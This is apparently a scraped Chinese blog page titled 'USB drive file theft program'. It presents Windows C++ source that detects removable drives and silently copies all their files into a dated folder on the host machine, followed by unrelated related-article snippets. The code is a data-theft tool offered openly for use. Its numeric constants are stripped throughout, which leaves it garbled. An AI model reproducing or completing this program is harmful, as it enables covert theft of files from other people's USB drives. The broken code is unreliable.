U盘文件偷窃程序
// Drives.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include "windows.h"
#include "string.h"
#include "direct.h"
#include "stdlib.h"
char dir[];
wchar_t* char2wchar(char *cStr)
{
size_t len = strlen(cStr)+;
size_t converted = ;
wchar_t *wStr;
wStr = (wchar_t*)malloc(len*sizeof(wchar_t));
mbstowcs_s(&converted,wStr,len,cStr,_TRUNCATE);
return wStr;
}
char* wchar2char(wchar_t *wStr)
{
size_t len = wcslen(wStr)+;
size_t converted = ;
char *cStr;
cStr = (char*)malloc(len*sizeof(char));
wcstombs_s(&converted,cStr,len,wStr,_TRUNCATE);
return cStr;
}
void Copy(char *FileName)
{
char dir2[];
strcpy(dir2,dir);
char *temp = strchr(FileName,'\\');
temp++;
strcat(dir2,temp);
CopyFile(char2wchar(FileName),char2wchar(dir2),);
}
void CreateDir(char *path)
{
char temp2[];
strcpy(temp2,dir);
char *temp = strchr(path,'\\');
temp++;
strcat(temp2,temp);
_mkdir(temp2); }
void GetFile(char *FilePath)
{
wchar_t* wFilePath = char2wchar(FilePath);
wchar_t temp[],temp1[];
wcscpy_s(temp,wFilePath);
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
wcscat_s(temp,L"*");
hFind = FindFirstFile(temp,&FindFileData);
wprintf(L"%s\n",FindFileData.cFileName);
if(hFind == INVALID_HANDLE_VALUE)
{
return;
}
else
{
do
{
wcscpy_s(temp1,wFilePath);
wcscat_s(temp1,FindFileData.cFileName);
if(wcscmp(FindFileData.cFileName, L".")!=&&wcscmp(FindFileData.cFileName ,L"..")!=)
{
if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
wcscat(temp1, L"\\");
CreateDir(wchar2char(temp1));
GetFile(wchar2char(temp1));
}
else
{
Copy(wchar2char(temp1));
}
}
}
while( FindNextFile( hFind,&FindFileData ) );
}
FindClose(hFind);
}
int CheckDisk(char *disk)
{
wchar_t *wDisk = char2wchar(disk);
if(GetDriveType(wDisk)==DRIVE_REMOVABLE)//如果是可移动磁盘,返回true
return ;
return ;
}
int Steal()
{
char buf[];
DWORD lod=GetLogicalDrives();
if(lod)
{
for(int i=;i<;i++)
{
if((lod&)==)
{
sprintf(buf,"%c",'A'+i);
strcat(buf,":\\");
if(CheckDisk(buf))
{
if(GetVolumeInformation(char2wchar(buf),,,,,,,))//获取磁盘信息
{
GetFile(buf);
}
}
}
lod=lod>>;
}
}
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
SYSTEMTIME st;
char dtime[],temp[];
GetLocalTime(&st);
_itoa(st.wYear,temp,);
strcpy(dtime,temp);
_itoa(st.wMonth,temp,);
strcat(dtime,temp);
_itoa(st.wDay,temp,);
strcat(dtime,temp);
_itoa(st.wMonth,temp,); _getcwd(dir,);
puts(dir);
strcat(dir,"\\");
strcat(dir,dtime);
strcat(dir,"\\");
_mkdir(dir);//创建新文件夹
Steal(); return ;
}
U盘文件偷窃程序的更多相关文章
- 将U盘分成 启动盘+文件存储区
我看了很多帖子,发现想要将U盘分区的朋友绝大部分是和我一样,想用U盘做成一个启动盘同时兼顾文件存储,分区的目的很简单,就是想将启动部分单独做成一个区,以免在日常的应用中使得启动文件染毒或者误操作造成损 ...
- U盘文件被隐藏
转自https://blog.csdn.net/zichen_ziqi/article/details/80171891 文章原地址:http://www.uqidong.com/help/1625. ...
- win10无法写入删改c盘文件的解决方法
前言 最近使用了win10系统,结果发现无法对c盘的文件进行写入删改,在网上到处搜集资料,终于找到了解决方法,这里总结一下. 首先,本文针对的是win10家庭版,家庭版默认是不提供组策略功能,而我们需 ...
- [Java.File]如果写 File filesFolder = new File("/") ,在windows系统中,filesFolder 会去找哪个盘符? 答案:程序运行路径的根盘符.
首先这段代码在Unix/Linux系统上会去找根路径,但在Windows系统上会去找C:盘还是D:盘还是其它盘呢? 其实它会去找user.dir所在盘符的根目录,user.dir即用户的当前工作目录, ...
- 添加/删除/读写c盘文件——c#
一.前言: 有时候我们为自己的程序添加配置文件,如tet.ini.xml等文件,又或者保存软件运行时的日志 当我们把软件打包后,默认安装在c盘,而配置文件也会跟随生成在安装目录下 此时你会发现,配置文 ...
- 使用javascript实现html页面直接下载网盘文件
公司新建一网站,用的是商派的易开店系统.设计方案中有一个是下载文件的功能,但易开店不支持上传资源,所以无法下载本站资源. 于是想到了网盘资源下载,有些网站是把页面链接到网盘资源文件下载页面,进行二次跳 ...
- linux下U盘文件只读的解决办法
. 在终端运行如下命令 tail -f /var/log/syslog . 插入有只读文件系统故障的U盘 . 观察命令行输出 输出局部如下: Jul :: cslouis-pc kernel: [15 ...
- 【java】 linux下利用nohup后台运行jar文件包程序
Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...
- u盘文件系统故障的修复方法
比如U盘挂载的文件系统是/dev/sda1,且文件系统有故障(FAT: Filesystem error) 修复U盘文件系统故障 sudo dosfsck -v -a /dev/sda1
随机推荐
- URAL 1244. Gentlemen(DP)
题目链接 这题不难啊...标记一下就行了.表示啥想法也没有. #include <cstring> #include <cstdio> #include <string& ...
- HDU 1251 Trie树模板题
1.HDU 1251 统计难题 Trie树模板题,或者map 2.总结:用C++过了,G++就爆内存.. 题意:查找给定前缀的单词数量. #include<iostream> #incl ...
- Linux分区练习(1)
1.作业描述: 4个主分区. 具体实现过程: 打开Linux,在终端中输入:fdisk -uc /dev/sda 可以查看到 :Command (m for hel ...
- Selenium_获取相对坐标
<html> <head> <title>位置</title> <style> .test { background: url(" ...
- Hibernate学习笔记2
hibernate.cfg.xml文件配置中: <property name="hibernate.hbm2ddl.auto">update</property& ...
- navicat远程连接mysql
转载:http://blog.sina.com.cn/s/blog_84485e540101178p.html ERROR 1130: Host '192.168.1.81' is not a ...
- LaTex Remove Left Margin 去除左边空间
LaTex中使用itemize的时候,默认的每一项左边都有一小段距离,并不是紧贴着边缘的,那么如果我们想去掉这段距离,我们可以使用下面的命令: \usepackage{enumitem} \setli ...
- 数据库存储ATM机,开户、查询等信息
package com.bank.unionpay; //银行卡的接口 public interface I_yinhangka { //抽象方法 //public abstract默认修饰抽象的 p ...
- CentOS安装开发组相关的包
yum groupinstall "Development Tools" yum groupremove "Development Tools"
- 【HDU1914 The Stable Marriage Problem】稳定婚姻问题
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1914 题目大意:问题大概是这样:有一个社团里有n个女生和n个男生,每位女生按照她的偏爱程度将男生排序, ...